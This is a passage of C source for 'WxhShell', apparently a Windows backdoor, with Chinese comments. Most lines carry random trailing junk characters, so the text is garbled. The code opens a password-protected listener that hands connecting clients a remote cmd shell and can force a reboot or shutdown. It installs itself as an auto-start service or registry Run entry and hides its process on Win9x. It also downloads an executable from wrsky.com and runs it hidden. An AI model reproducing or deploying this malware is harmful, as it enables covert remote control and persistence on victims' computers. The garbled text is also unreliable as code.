    closesocket(wsh); &@A(8(%  
    ExitThread(0); dapQ5JT/  
    } }@}jwi)l  
    break; y1/$dn  
    } A[Juv]X  
  // 关机 :h N*  
  case 'd': { &-9wU Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rZ1${/6  
    if(Boot(SHUTDOWN)) iD_NpH q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ EHr?b2  
    else { Y ,B0=}  
    closesocket(wsh); ,'F;s:WM,  
    ExitThread(0); kVQKP  U  
    } Jk|c!,!  
    break; DVRE;+Jt  
    } m"~$JA u  
  // 获取shell [z`U 9J  
  case 's': { _5.^A&Y*  
    CmdShell(wsh); W=o90TwbN  
    closesocket(wsh); }V?SedsY  
    ExitThread(0); IR|AlIv  
    break; d)(61  
  } :Cw|BX@??U  
  // 退出 S[{#AX=0  
  case 'x': { 8MM#q+8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tul_/`An  
    CloseIt(wsh); mT>56\63  
    break; x9~d_>'A  
    } 7f'9Dm`  
  // 离开 RT8xU;   
  case 'q': { X&t)S?eCos  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2Q)"~3  
    closesocket(wsh); rFSLTbTf  
    WSACleanup(); &2MW.,e7s  
    exit(1); (J][(=s;a  
    break; wnP#.[,V  
        } <Jo_f&&{  
  } <n>Kc}c  
  } FlRbGg^  
+o!".Hp  
  // 提示信息 q.t>:`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Xm pq&g  
} U/m6% )Yx(  
  } ;c_X ^"d  
9n$GeRO  
  return; %?y ?rt  
} & p"ks8"  
N0sf V  
// shell模块句柄 4_8%ZaQ\.?  
int CmdShell(SOCKET sock) a [iC!F2  
{ %7Z _Hw  
STARTUPINFO si; y|nMCkuX  
ZeroMemory(&si,sizeof(si)); 9PVM06   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Rn}4)9!iT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7:I` ~ @m  
PROCESS_INFORMATION ProcessInfo; j{IAZs#@>  
char cmdline[]="cmd"; gpe^G64c`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IR?ICXmtx  
  return 0; $[6:KV  
} _LFZ0  
!!b5vzyve  
// 自身启动模式 Ni'vz7j  
int StartFromService(void) "6lf~%R"  
{ {%'(IJ|5z  
typedef struct Mje6Q  
{ d3+pS\&IX?  
  DWORD ExitStatus; x1]^].#Eo  
  DWORD PebBaseAddress; 0"kNn5  
  DWORD AffinityMask; +iir]"8  
  DWORD BasePriority; !,+peMy  
  ULONG UniqueProcessId; Y{B|*[xM  
  ULONG InheritedFromUniqueProcessId; @ O5-w  
}   PROCESS_BASIC_INFORMATION; `ux U H#  
D:U:( pg  
PROCNTQSIP NtQueryInformationProcess; n@mWB UM  
}>=k!l{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3205gI,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K~5QL/=1  
G@oY2sM"  
  HANDLE             hProcess; 3aQWzEnh  
  PROCESS_BASIC_INFORMATION pbi; :t8(w>oW  
=M>1;Qr<Z/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D%N^iJC,9  
  if(NULL == hInst ) return 0; G)';ucs:,  
{v}f/ cu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o> WH;EBL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r;t0+aLc*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .vj`[?T  
S " R]i  
  if (!NtQueryInformationProcess) return 0; PGsXB"k<8  
iE, I\TY[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r ioNP(  
  if(!hProcess) return 0; .dt7b4.kd  
7JD jJQy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [nJ),9$z_  
_|bIl%W;\'  
  CloseHandle(hProcess); (GJ)FWen0"  
wbshKkUh_*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AqZ{x9g!  
if(hProcess==NULL) return 0; 3XYCtp8  
w7$*J:{  
HMODULE hMod; Q9H~B`\nQ  
char procName[255]; D'F =v\P  
unsigned long cbNeeded; f ."bq43(  
Wjn1W;m&g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >c*}Do{lG  
` /#f8R1g  
  CloseHandle(hProcess); !5wm9I!5^  
nPj%EKdY4  
if(strstr(procName,"services")) return 1; // 以服务启动 8Gzc3  
hn#i,XnY  
  return 0; // 注册表启动 ya0L8`q  
} !jL|HwlA  
UB }n=  
// 主模块 v=EV5#A  
int StartWxhshell(LPSTR lpCmdLine) ^6bU4bA  
{ 8bLA6qmM\  
  SOCKET wsl; cu5Yvp  
BOOL val=TRUE; "jH=O(37  
  int port=0; OW- [#r  
  struct sockaddr_in door; 1-r# v  
L!Iu\_{q  
  if(wscfg.ws_autoins) Install(); eEePK~%c  
Fd*)1FQKT  
port=atoi(lpCmdLine); <[ />M  
Z|K+{{C  
if(port<=0) port=wscfg.ws_port; 5:6as^i:b  
M>VT$!Lx  
  WSADATA data; 0W<:3+|n4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N@lTn}U  
LFvKF.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "5"6mw?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @r]wZ~@  
  door.sin_family = AF_INET; x*Y&s<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :p0|4g  
  door.sin_port = htons(port); fhw.A5Ck  
aN?{MA\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~CgKU8  
closesocket(wsl); 4HQP,  
return 1; hqIYo .<  
} N=^{FZ  
r63_|~JVB<  
  if(listen(wsl,2) == INVALID_SOCKET) { `mXbF  
closesocket(wsl); [`nY /g:  
return 1; ")'o5V  
} ;UTT>j  
  Wxhshell(wsl);  17AJT  
  WSACleanup(); Dj}n!M`2I  
mr dG- t(k  
return 0; +b"RZ:tKp  
bwR_ uF  
} ZqT?7|i  
+ntrp='7O7  
// 以NT服务方式启动 P9= L?t.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PXqLK3AE  
{ k nrR%e;  
DWORD   status = 0; d0ThhO  
  DWORD   specificError = 0xfffffff; 7cV9xIe^  
xdb9oH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wNMgY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AuuZWd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <7N8L  
  serviceStatus.dwWin32ExitCode     = 0; qR^KvAEQSo  
  serviceStatus.dwServiceSpecificExitCode = 0; DFKFsu8s  
  serviceStatus.dwCheckPoint       = 0; 4A6D>ChB'E  
  serviceStatus.dwWaitHint       = 0; Vw.c05x  
8.FBgZh*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )nmLgsg  
  if (hServiceStatusHandle==0) return; ):OGhWq  
NSH20$A<  
status = GetLastError(); ~CiVLS H=  
  if (status!=NO_ERROR) }`#OA]NZ  
{ qD=o;:~Km  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :9un6A9JS  
    serviceStatus.dwCheckPoint       = 0; Y [Jt+p]  
    serviceStatus.dwWaitHint       = 0; UmYReF<<_  
    serviceStatus.dwWin32ExitCode     = status; :+,>0%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0vOt. LC/S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -6a4H?L  
    return; Q;{[U!\:  
  } gZ%wm Y  
,_;+H*H>"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eAKK uML  
  serviceStatus.dwCheckPoint       = 0; R|aA6} /I  
  serviceStatus.dwWaitHint       = 0; n!=%MgF'*p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PhF.\W b  
} eFDhJ  
zK`fX  
// 处理NT服务事件,比如:启动、停止 4np,"^c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #RAez:BI  
{ V^fSrW]  
switch(fdwControl) 7KIOI,qb6  
{ L".Qf|b*  
case SERVICE_CONTROL_STOP: td!WgL,m  
  serviceStatus.dwWin32ExitCode = 0; ,,1H#;j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )D\cm7WX^[  
  serviceStatus.dwCheckPoint   = 0; x/D"a|  
  serviceStatus.dwWaitHint     = 0; (O{5L(  
  { <Y~?G:v6+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4a3Xz,[(a  
  } v,t;!u,40  
  return; &2IrST{d:V  
case SERVICE_CONTROL_PAUSE: E*VUP 5E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q- ( [3%  
  break; AZ' "M{wiI  
case SERVICE_CONTROL_CONTINUE: 2,,zN-9mt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Fb|B  
  break; YI05?J}  
case SERVICE_CONTROL_INTERROGATE: ~Wy&xs ZH  
  break; s`"o-w\$>  
}; [DrG;k?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ei!t#'*D<  
} 3GVE/GtU  
)9'eckt  
// 标准应用程序主函数 *>Sb4:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `k y>M-  
{ '5xf?0@s.  
;%"YA  
// 获取操作系统版本 *:t]|$;E\  
OsIsNt=GetOsVer(); i!8 o(!I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o('W2Bs-o  
<hlH@[7!  
  // 从命令行安装 wn*<.s  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0l-m:6  
ghvF%-."1  
  // 下载执行文件 DVCO( fz  
if(wscfg.ws_downexe) { L B`=+FD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }G^Bc4@b  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0CXh|AU  
} p\lS ) 9  
S%KY%hUt  
if(!OsIsNt) { *p!K9$4  
// 如果时win9x,隐藏进程并且设置为注册表启动 _4qP0LCa  
HideProc(); =Gsn4>~%n  
StartWxhshell(lpCmdLine); vqh@)B+)  
} v_Om3i9$E  
else +zodkB~)  
  if(StartFromService()) s@C KZ`  
  // 以服务方式启动 &8!* u3  
  StartServiceCtrlDispatcher(DispatchTable); c%1 <O!c  
else *&p`8:  
  // 普通方式启动 zTi %j$o  
  StartWxhshell(lpCmdLine); ;)Rvk&J5  
2yqm$i9C  
return 0; A WlR" p2  
} [@D+kL*>  
WK7=z3mu  
U9:?d>7  
V0hC[Ilr  
=========================================== cgKK(-$ny  
ca>6r`  
cU}j Whu  
l!Q |]-.@  
[s?H3yQ.  
A#9@OWV5f  
" C6Qnn@waYb  
\ZdV|23  
#include <stdio.h> LF+#PnK  
#include <string.h> n 99>oh  
#include <windows.h> Xh==F:  
#include <winsock2.h> u@d`$]/>F  
#include <winsvc.h> ]'Y vI! r  
#include <urlmon.h> I!bzvPJ]xc  
vn;_|NeSf  
#pragma comment (lib, "Ws2_32.lib") F 7+Gt Ed  
#pragma comment (lib, "urlmon.lib") KobNi#O+  
R03V+t=  
#define MAX_USER   100 // 最大客户端连接数 Bvx%|:R  
#define BUF_SOCK   200 // sock buffer >o{(f  
#define KEY_BUFF   255 // 输入 buffer nA8]/r1k  
YpQ/ )fSEV  
#define REBOOT     0   // 重启 zjd]65P  
#define SHUTDOWN   1   // 关机 dtJaQ`  
+gb2>fei&  
#define DEF_PORT   5000 // 监听端口 l'YpSO~l7  
@W3fKF9*R  
#define REG_LEN     16   // 注册表键长度 r1:S8RT;H5  
#define SVC_LEN     80   // NT服务名长度 Ko%&~C_  
T xRa&1  
// 从dll定义API b6=.6?H@4f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k#k!AcC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 42:~oKiQ$"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k,0RpE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (bH*i\W  
[sG=(~BU  
// wxhshell配置信息 U(5(0r  
struct WSCFG { >O[# 661  
  int ws_port;         // 监听端口 w91gM*A  
  char ws_passstr[REG_LEN]; // 口令 BBw]>*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'qBg^c  
  char ws_regname[REG_LEN]; // 注册表键名 :HhLc'1Jw  
  char ws_svcname[REG_LEN]; // 服务名 oD_'8G}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eN]0]9JO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s]Z/0:`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rC~hjViG.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~X;r}l=k<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +) 2c\1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * bmdY=#7  
K1RTAFf /  
}; 2!/*I:  
]dk44,EL  
// default Wxhshell configuration j6Acd~y\2  
struct WSCFG wscfg={DEF_PORT, Eugt~j3  
    "xuhuanlingzhe", \2i4]V  
    1, jTk !wm=  
    "Wxhshell", *%5#\ I  
    "Wxhshell", 2#'{Q4K  
            "WxhShell Service", ehj&A+Ip  
    "Wrsky Windows CmdShell Service", "PGEiLY  
    "Please Input Your Password: ", ==I:>+_ ^|  
  1, _5#f9,m1  
  "http://www.wrsky.com/wxhshell.exe", OIB~ W  
  "Wxhshell.exe" u{=(] n  
    }; 0hcrQ^BB!b  
hBDPz1<  
// 消息定义模块 /yn1MW[.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ >#?C*s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 04NI.Jv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !$hrK6o  
char *msg_ws_ext="\n\rExit."; ~$w-I\Q!  
char *msg_ws_end="\n\rQuit."; R(@7$  
char *msg_ws_boot="\n\rReboot..."; %,%s09tO  
char *msg_ws_poff="\n\rShutdown..."; cF_`m  
char *msg_ws_down="\n\rSave to "; 5{qFKo"g@,  
w'ZL'/d  
char *msg_ws_err="\n\rErr!"; m *8[I  
char *msg_ws_ok="\n\rOK!"; O?NAbxkp  
lwPK^)|}  
char ExeFile[MAX_PATH]; I"*g-ji0  
int nUser = 0; l epR}  
HANDLE handles[MAX_USER]; Y ~RPspHW  
int OsIsNt; n5"rSgUtE  
2-nL2f!a{p  
SERVICE_STATUS       serviceStatus; %YefTk8cr,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'wz*GMGWC  
_m0H gLS~  
// 函数声明 rFZB6A<(]  
int Install(void); yJ8WYQQMG  
int Uninstall(void); nab:y(]$/  
int DownloadFile(char *sURL, SOCKET wsh); jy{T=Nb  
int Boot(int flag); PH 97O`"  
void HideProc(void); hu[=9#''$  
int GetOsVer(void); q5:-?|jXJ  
int Wxhshell(SOCKET wsl); ],R rk]1  
void TalkWithClient(void *cs); [qlq&?"  
int CmdShell(SOCKET sock); mIq6\c$  
int StartFromService(void); ZN5\lon|Y  
int StartWxhshell(LPSTR lpCmdLine); pu nc'~  
F7UY>z3jL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^#e:q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .z7X Ymv  
RvV4SlZz  
// 数据结构和表定义 \\ M2_mT  
SERVICE_TABLE_ENTRY DispatchTable[] = 5gZ0a4  
{ K,%H*1YKK  
{wscfg.ws_svcname, NTServiceMain}, b")&"o)G2W  
{NULL, NULL} vp &jSfQ^  
}; 5+:b #B  
wlBdA  
// 自我安装 t`+x5*g W  
int Install(void) j(6:   
{ P (jlWr$$  
  char svExeFile[MAX_PATH]; UZMo(rG.]{  
  HKEY key; d6,%P 6  
  strcpy(svExeFile,ExeFile); o\h[K<^>)  
^CI.F.#X|  
// 如果是win9x系统,修改注册表设为自启动 %k{~Fa  
if(!OsIsNt) { g1muT.W]S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r Y|'<$wvg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); No<2+E!  
  RegCloseKey(key); 4fw>(d(2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bmhvC9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D|9C|q  
  RegCloseKey(key); , %mTKOs  
  return 0; l/[@1(F  
    } JT&CJ&#[h  
  } :1eI"])(  
} 3SVI|A5(d  
else { O\pqZ`E=s  
kmNY ;b6Y$  
// 如果是NT以上系统,安装为系统服务 3lhXD_Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  >>Hsx2M  
if (schSCManager!=0) #*,Jqr2f  
{ \bqNjlu  
  SC_HANDLE schService = CreateService @JE:\  
  ( C\dQ6(3}\  
  schSCManager, jJ?MT#v  
  wscfg.ws_svcname, TbU\qcm]]  
  wscfg.ws_svcdisp, `da6}Vqj:  
  SERVICE_ALL_ACCESS, p 9XHYf72  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ww nc  
  SERVICE_AUTO_START, lZV]Z3=p'0  
  SERVICE_ERROR_NORMAL, e<YC=67n)  
  svExeFile, +|r;t  
  NULL, f( hK>H  
  NULL, fo&q/;l\  
  NULL, !0c7nzjm  
  NULL, .\X/o!xC  
  NULL zA9N<0[]o  
  ); 6(B0gBCId  
  if (schService!=0) 9c9-1iS  
  { vLD Ma>  
  CloseServiceHandle(schService); JM -Tp!C>  
  CloseServiceHandle(schSCManager); @5\OM#WT~&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >k*QkIyq  
  strcat(svExeFile,wscfg.ws_svcname); u!oHP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a+)Yk8%KY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "w= p@/C  
  RegCloseKey(key); DUEA"m h  
  return 0; U# Y ?'3:  
    } ?*K;+@EH  
  } ,!F'h:   
  CloseServiceHandle(schSCManager); ?+D_*'65D  
} Run)E*sf  
} 9 }|Bs=q  
HB{w:  
return 1; (<s7X$(]e  
} R +P,kD?  
%Ub"V\1  
// 自我卸载 $%`OJf*k  
int Uninstall(void) )9##mUt'}  
{ B{H;3{0  
  HKEY key; JVwYV5-O<0  
n7 4?W  
if(!OsIsNt) { muT+H(Zp}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jr~ +}|@{  
  RegDeleteValue(key,wscfg.ws_regname); - 4'yp  
  RegCloseKey(key); G~a;q+7v'$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *y5d&4G2  
  RegDeleteValue(key,wscfg.ws_regname); &E.0!BuqV  
  RegCloseKey(key); *W y0hnr;]  
  return 0; D(Zux8l  
  } _D1bR7  
} ,[,+ _A  
} yx3M0Qo  
else { g~h`wv'  
'`T.K<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v+znKpE  
if (schSCManager!=0) ^TVy :5Ag  
{ <5@+:7Dv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 50rCW)[#  
  if (schService!=0) A;1<P5lo  
  { )AXTi4MNp  
  if(DeleteService(schService)!=0) { [X#bDO<t  
  CloseServiceHandle(schService); =+T{!+|6P  
  CloseServiceHandle(schSCManager); -9}]J\  
  return 0; ~ bL(mq  
  } ,(N&%  
  CloseServiceHandle(schService); (03m%\  
  } "^;'.~@e8  
  CloseServiceHandle(schSCManager); !ceuljd]  
} :(} {uG  
} }di)4=U9  
QKCc5  
return 1; u Y V=  
} j,/OzVm9  
w:r0>  
// 从指定url下载文件 SLSJn))@!  
int DownloadFile(char *sURL, SOCKET wsh) S-gL]r3G8  
{ ?#ndMv!$  
  HRESULT hr; ZL#4X*zT  
char seps[]= "/"; \s`'3y  
char *token; #?}k0Y  
char *file; yf*MG&}  
char myURL[MAX_PATH]; ~)tIO<$U  
char myFILE[MAX_PATH]; Pw1V1v&> q  
%g5weiFM  
strcpy(myURL,sURL); E+dr\Xhv  
  token=strtok(myURL,seps); DvF`KHsy  
  while(token!=NULL) Z?oFee!4  
  { 4FQU$f  
    file=token; Q5;K m1(  
  token=strtok(NULL,seps); }KCXo/y  
  } VeA;zq  
_p?lRU8  
GetCurrentDirectory(MAX_PATH,myFILE); tB&D~M6[  
strcat(myFILE, "\\"); BEg%u)"([  
strcat(myFILE, file); `8xmM A_l  
  send(wsh,myFILE,strlen(myFILE),0); qdCa]n!d  
send(wsh,"...",3,0); Rde#=>@V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IxYuJpi  
  if(hr==S_OK) 0+P_z(93?  
return 0; <uU AAHi  
else ,'= Y  
return 1; sw'20I  
R/~j <.s3P  
} I/|)?  
!R//"{k0?  
// 系统电源模块 HO41)m+&  
int Boot(int flag) p"Oi83w;9  
{ n/p M[gI  
  HANDLE hToken; UN`-;!  
  TOKEN_PRIVILEGES tkp; >9esZA^';  
1zGEf&rv:  
  if(OsIsNt) { (toGU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1MRt_*N4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xh#ef=Bw  
    tkp.PrivilegeCount = 1; JZD27[b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uDafPTF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /cJ$` pN  
if(flag==REBOOT) { Fr,>|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NJz8ANpro$  
  return 0; =NSLx2:T  
} qp"gD-,-o  
else { rMTtPuc2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cl\Vk  
  return 0; - tF5$pb'  
} b?CmKiM%  
  } W+H 27qsv  
  else { yT-m9$^v  
if(flag==REBOOT) { v8 y77:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +'= ^/!  
  return 0; ?T$i  
} k>K23(X  
else { g/lv>*+gS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~fAdOh  
  return 0; ^^}  
} 67}y/C]<  
} 7eQ7\,^H  
F{[2|u(4  
return 1; [bJ"*^M)  
} Zr;.`(>  
TcpD*%wW  
// win9x进程隐藏模块 >H ic tH  
void HideProc(void) _&XT =SW}  
{ {tu* ="d=  
'iXjt MX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mn7 y@/1  
  if ( hKernel != NULL ) w I #_r_  
  { }qc[ysDK]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (+@3Dr5o0}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vhz?9i6|g^  
    FreeLibrary(hKernel); '#4ya=Ww  
  } 0"#tK4  
6IPhy.8  
return; ^KF  
} $*xnq%A  
Z #w1,n88  
// 获取操作系统版本 Fu )V2[TY  
int GetOsVer(void) W5 fO1F  
{ R|$=Pfg~4  
  OSVERSIONINFO winfo; }&y>g0$@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m3F.-KPO  
  GetVersionEx(&winfo); >P>.j+o/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (4$lB{%  
  return 1; 4D$$KSa  
  else , j'=sDl  
  return 0; k#JFDw\  
} S?OK@UEJ  
s]5wzbFO  
// 客户端句柄模块 7T_g?!sdMh  
int Wxhshell(SOCKET wsl) @s/;y VVq  
{ x\3 ` W  
  SOCKET wsh; qoB   
  struct sockaddr_in client; O *H:CW  
  DWORD myID; MZ=U} &F  
}UXj|SY  
  while(nUser<MAX_USER) 0Ny0#;P  
{ ;?=nr5;q  
  int nSize=sizeof(client); KT{ <iz_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RNRMw;cT  
  if(wsh==INVALID_SOCKET) return 1; }s}b]v  
Lt@4F   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]=WJ%p1l  
if(handles[nUser]==0) KKGAk\X  
  closesocket(wsh); /'TzHO9_`  
else WYRTt2(+%  
  nUser++; v^[tK2&v  
  } .{5)$w>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s:*gjoL  
g}ciG!0  
  return 0; xfkG&&  
} '[qG ,^f  
TkWS-=lNH0  
// 关闭 socket K&BlWXT  
void CloseIt(SOCKET wsh) p|(910OEQ  
{ X2dTV}~i  
closesocket(wsh); u-OwL1S+  
nUser--; "!p#8jR^  
ExitThread(0); {'"A hiR/  
} KOhy)h+ h  
fa\<![8LAU  
// 客户端请求句柄 6\4oHRJC  
void TalkWithClient(void *cs) y\5V (Q\  
{ S,G=MI"  
+_:Ih,-   
  SOCKET wsh=(SOCKET)cs; n_$lRX5  
  char pwd[SVC_LEN]; ?tqTG2!(  
  char cmd[KEY_BUFF]; e>nRJH8pK  
char chr[1]; ,EcmMI^A  
int i,j; "}7K>|a  
kVkV~  
  while (nUser < MAX_USER) { @ew Qx|  
o[+1O  
if(wscfg.ws_passstr) { v :6`(5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $'L(}gNv5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $aE %W? \  
  //ZeroMemory(pwd,KEY_BUFF); 4%\L8:  
      i=0; D*vrQ9&# 8  
  while(i<SVC_LEN) { p'KU!I }  
<%>Q$b5  
  // 设置超时 9m!4U2N,s  
  fd_set FdRead; Y&Pi`E9=  
  struct timeval TimeOut; ``w,CP ?  
  FD_ZERO(&FdRead); C~'}RM  
  FD_SET(wsh,&FdRead); s,K @t_J  
  TimeOut.tv_sec=8; +wD--24!(  
  TimeOut.tv_usec=0; DI!NP;E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }4cLU.L8O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U g]6i+rp  
d";+8S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cFGP3Q4{  
  pwd=chr[0]; E`LML?   
  if(chr[0]==0xd || chr[0]==0xa) { Fd5{pM3  
  pwd=0; +Y)rv6}m  
  break; J24UUZ9&$  
  } c#u-E6  
  i++; %pL ,A5M  
    } J^n(WnM*F  
J%j#gyTU  
  // 如果是非法用户,关闭 socket ,_u8y&<|I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ThJLaNS  
} 7k+UCi u>  
Pk~P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?Q9/C|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ],qG!,V  
^YenS6`F  
while(1) { ~`T(mh',  
ZzzQXfA#  
  ZeroMemory(cmd,KEY_BUFF); @L{HT8utK3  
+;:i,`Lmg  
      // 自动支持客户端 telnet标准   qIA!m .GC  
  j=0; f IQ$a >  
  while(j<KEY_BUFF) { !?O:%QG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z[z'.{;D  
  cmd[j]=chr[0]; p*#SSR9<  
  if(chr[0]==0xa || chr[0]==0xd) { [7|}h/  
  cmd[j]=0; =]-!  
  break; c!{.BgGN  
  } pR`.8MMc8  
  j++; FEU$D\1y  
    } Lkqu"V  
2#T|+mKxZM  
  // 下载文件 r'{pTgm#  
  if(strstr(cmd,"http://")) { f+fF5Z\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?ohLcz  
